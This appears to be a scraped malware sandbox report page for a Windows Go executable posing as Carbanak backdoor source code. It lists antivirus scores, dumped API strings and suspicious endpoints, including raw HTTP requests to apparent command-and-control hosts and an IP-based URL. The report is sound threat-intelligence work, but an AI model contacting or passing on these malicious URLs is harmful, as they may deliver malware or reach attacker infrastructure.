21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 48:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T4e6,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_90% Sample 6d80cd9e3401… — Score 83/100 — Hybrid Analysis","description":"Malicious verdict for sample 6d80cd9e3401…. Malware family: Win/malicious_confidence_90%. Threat score 83/100. 4/26 AV engines flagged this file. 3 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49","keywords":["Malicious","Win/malicious_confidence_90%","malware analysis","sandbox report","threat intelligence","6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49"],"about":{"@type":"SoftwareApplication","name":"source code of carbanak backdoor discovered.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49","additionalType":"Malicious sample"},"threatScore":83,"malwareFamily":"Win/malicious_confidence_90%","antivirusDetections":{"malicious":4,"total":26},"behavioralIndicators":{"malicious":3,"suspicious":14},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8A//AAAAAAAAAAAAAAAAAH///wAAAAAAAAAAAAAAAAB///8AAABVEREQAAAAAAAAf///AAB3eHd3dVVVEAAAAH///wAFd3h3d3VVVVEREQB///8ABXd4d3d1VVVREREAf///AAVXeIiIh3d3dVERAH///wAVV3iIiIiIiIiId1B///8AFVd4iIiIiIiIiIhQf///ABVXeIiIj4iIiIiIcH///wAVV3iIiPiIiIiIiHB///8AFVd4iP+I+IiIiIhwf///ABVVeI/4j4iIiIiHUH///wAVV3iPj4iIiIiIh1B///8AFVd4j4+IiIiIiIdQf///ABVXeI+PiIiIiIiHUH///wAVV3iPj4iIiIiIh1B///8AFXV4j4+IiIiIiIdQf///ABVVeI+PiIiIiIiHUH///wAVV3iPj4iIiIiIh1B///8AFVd4j4+IiIiIiIdQf///ABdVeI+PiIiIiIh3UH///wAVd3iPj4iIiIiIh1B///8AFXd4j4+IiIiIiIdQf///ABVXeI+PiIiIiIiHUH///wAVV3iPj4iIiIiIh1B///8AFVd4j4+IiIiIiIdQf///ABV1eI+PiIiIiIiHUH///wAFV3iPj4iIiIiId1B///8AAAFXd3d3d1VVUAAAf///AAAAAAAAAAAAAAAAAH///wAAAAAAAAAAAAAAAAB/////////////+B///8AAA/+AAAD/gAAA/4AAAP+AAAD/gAAA/4AAAP+AAAD/gAAA/4AAAP+AAAD/gAAA/4AAAP+AAAD/gAAA/4AAAP+AAAD/gAAA/4AAAP+AAAD/gAAA/4AAAP+AAAD/gAAA/4AAAP+AAAD/8AA////////////w==23:T1c23,Heuristic match: "*abi.name" Heuristic match: "se.mw" Heuristic match: "!s.tz" Heuristic match: "internal/abi.name.name" Heuristic match: "runtime.(*bucket).mp" Heuristic match: "runtime.srcfunc.name" Heuristic match: "arweave.net" Heuristic match: "r3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vn" Heuristic match: "get /jub1yb-6w6sjlqkkpuqblbqvpwwej0jr7upz8tgo5qc? http/1.1connection: keep-aliveuser-agent: mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36host: r3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vn" Heuristic match: "api.myip.com" Heuristic match: "get / http/1.1connection: keep-aliveuser-agent: mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36host: api.myip.com" Heuristic match: "l<.ua" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Pattern match: "http://schemas.microsoft.com/smi/2019/windowssettings" Pattern match: "arweave-search.goldsky.com/graphql" Heuristic match: "rweave.net" Pattern match: "ar.vnnode.com/graphql" Pattern match: "arweave.net/graphql" Pattern match: "ar.owlstake.com/graphql" Heuristic match: "ttps://ar.owlstake.com" Heuristic match: "ttps://ar.vnnode.com" Pattern match: "ario.koltigin.xyz/graphql" Pattern match: "arweave.fllstck.dev/graphql" Heuristic match: "pi.myip.com" Pattern match: "https://ari.myip.com/" Heuristic match: ".io.vn" Heuristic match: "lsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vn" Pattern match: "https://arweave.net/graphql" Heuristic match: "3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vn" Pattern match: "ainodes.xyz/jub1yb-6w6sjlqkkpuqblbqvpwwej0jr7upz8tgo5qc" Heuristic match: "weave.net" Heuristic match: "ttps://r3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vn" Pattern match: "https://api.myip.com/" Pattern match: "r3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vn/jub1yb-6w6sjlqkkpuqblbqvpwwej0jr7upz8tgo5qc" Heuristic match: ".myip.com" Heuristic match: "ip.com" Heuristic match: "aoar.io.vn" Pattern match: "https://r3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vn/jub1yb-6w6sjlqkkpuqblbqvpwwej0jr7upz8tgo5qc" Heuristic match: "ntrust.net" Heuristic match: "myip.com" Heuristic match: "*.myip.com" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "www.digicert.com1$0" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "0www.entrust.net/cps" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "http://www.microsoft.com0" Heuristic match: "r.io.vn" Pattern match: "https://arweave-search.goldsky.com/graphql" Pattern match: "https://arweave.fllstck.dev/graphql" Pattern match: "https://ar.vnnode.com/graphql" Pattern match: "https://ario.koltigin.xyz/graphql" Pattern match: "https://ar.owlstake.com/graphql" Pattern match: "https://ainodes.xyz" Pattern match: "https://arweave.fllstck.dev" Pattern match: "https://ar.vnnode.com" Pattern match: "https://ar.owlstake.com" Pattern match: "https://ainodes.xyz/jub1yb-6w6sjlqkkpuqblbqvpwwej0jr7upz8tgo5qc" Heuristic match: "ainode.aoar.io.vn" Heuristic match: "*.ainode.aoar.io.vn" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0" Pattern match: "http://95.85.239.146:3000/1edhizdpmxla" Pattern match: "https://a.nel.cloudflare.com/report/v4?s=cmwzj%2bvi2wvxksdzfzwfo3vqtrsi%2bgwiusqvathbyahg4p3caiiqfn1w8o2%2bg7uewb7sviwstuaavmj8l2xygp2xxbxkygm6t6mj" Heuristic match: "p.com" Heuristic match: "u=d.li" Heuristic match: "wm.es"24:T86d,Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") file/memory contains long string with (Indicator: "FreeLibrary"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") file/memory contains long string with (Indicator: "LoadLibrary"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00002132.00000000.163124.003CE000.00000002.mdmp, 00000000-00002132.00000001.165043.0027D000.00000002.mdmp") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00002132.00000000.163124.003CE000.00000002.mdmp, 00000000-00002132.00000001.165043.0027D000.00000002.mdmp") Found reference to API "syscall.procLoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00002132.00000000.163124.003CE000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp")25:T7836,Found api reference "bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerslevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method span.base()=bad flushGen , not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=GetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext f" (Indicator: "CertOpenStore"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") Found api reference "ile busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #userArenaStateGC (dedicated)read mem statsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= nil elem type! to finalizer GC worker initruntime: full=runtime: want=MB; allocated RtlGetVersion" (Indicator: "CertCloseStore"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") Found api reference "ile busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #userArenaStateGC (dedicated)read mem statsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= nil elem type! to finalizer GC worker initruntime: full=runtime: want=MB; allocated RtlGetVersion" (Indicator: "CryptGenRandom"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") Found api reference "exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitwait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushedbad kind in runfinqmarkroot: bad indexnwait > work.nprocs, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panic, g->atomicstatus=unexpected g statusbad runtime" (Indicator: "CryptReleaseContext"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioninvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cacheschan send (synctest)close of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in golink has been severedpackage not installedblock device requiredstate not recoverableread-only file systemstale NFS file handl" (Indicator: "CertOpenSystemStoreW"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioninvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cacheschan send (synctest)close of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in golink has been severedpackage not installedblock device requiredstate not recoverableread-only file systemstale NFS file handl" (Indicator: "CryptAcquireContextW"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") Found api reference "in refillspan has no free spaceruntime: work.nwait = runtime:scanstack: gp=scanstack - bad statusheadTailIndex overflowruntime.main not on m0set_crosscall2 missingbad g->status in readywirep: invalid p stateassembly checks failedstack not a power of 2minpc or maxpc invalidcompileCallback: type syscall: n > len(args)non-Go function at pc=exit hook invoked exitdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWindex out of range [%x]ReadMemStatsSlow (test)runtimecontentionstackschan receive (nil chan)garbage collection scanchan receive (synctest)makechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelemsmissing type in runfinqruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; s" (Indicator: "CertGetCertificateChain"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") Found api reference "wept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall" missing CPU supportexit hook invoked panicconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWtracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of queuefinalizer during GCupdate during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlapsstack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowunexpected syncgroup setdouble traceGCSweepStartb" (Indicator: "CertFreeCertificateChain"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of remaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartGODEBUG: can not enable "invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0negative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative" (Indicator: "CertFreeCertificateContext"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin"), Found api reference "nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memorychannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStorePageCachePagesLeaked (test)makechan: size out of rangeG waiting list is corruptedM structure uses sizeclass runtime" (Indicator: "CertEnumCertificatesInStore"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin"), Found api reference "unlock: lock countprogToPointerMask: overflowfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for file descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGC mark assist wait for workcomparing uncomparable type runtime: bad lfnode address region exceeds uintptr rangegcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unex" (Indicator: "CertCreateCertificateContext"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin"), Found api reference "ut of rangereflect: Elem of invalid type sync: inconsistent mutex statesync: unlock of unlocked mutexGODEBUG: unknown cpu feature "cannot assign requested address.lib section in a.out corruptedslice bounds out of range [:%x]slice bounds out of range [%x:]call from within the Go runtimeinternal error - misuse of itab) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pagespacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usab" (Indicator: "CertAddCertificateContextToStore"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") Found api reference "ut of rangereflect: Elem of invalid type sync: inconsistent mutex statesync: unlock of unlocked mutexGODEBUG: unknown cpu feature "cannot assign requested address.lib section in a.out corruptedslice bounds out of range [:%x]slice bounds out of range [%x:]call from within the Go runtimeinternal error - misuse of itab) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pagespacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usab" (Indicator: "CertVerifyCertificateChainPolicy"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin"), Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioninvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cacheschan send (synctest)close of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in golink has been severedpackage not installedblock device requiredstate not recoverableread-only file systemstale NFS file hand" (Indicator: "CertOpenSystemStoreW"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin"), Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioninvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cacheschan send (synctest)close of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in golink has been severedpackage not installedblock device requiredstate not recoverableread-only file systemstale NFS file hand" (Indicator: "CryptAcquireContextW"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin"), Found api reference "in refillspan has no free spaceruntime: work.nwait = runtime:scanstack: gp=scanstack - bad statusheadTailIndex overflowruntime.main not on m0set_crosscall2 missingbad g->status in readywirep: invalid p stateassembly checks failedstack not a power of 2minpc or maxpc invalidcompileCallback: type syscall: n > len(args)non-Go function at pc=exit hook invoked exitdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWindex out of range [%x]ReadMemStatsSlow (test)runtimecontentionstackschan receive (nil chan)garbage collection scanchan receive (synctest)makechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelemsmissing type in runfinqruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep;" (Indicator: "CertGetCertificateChain"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") Found api reference "wept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall" missing CPU supportexit hook invoked panicconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWtracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of queuefinalizer during GCupdate during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlapsstack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowunexpected syncgroup setdouble traceGCSweepStart" (Indicator: "CertFreeCertificateChain"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of remaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartGODEBUG: can not enable "invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0negative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negativ" (Indicator: "CertFreeCertificateContext"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin"), Found api reference "unlock: lock countprogToPointerMask: overflowfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: netpollinit failedruntime: 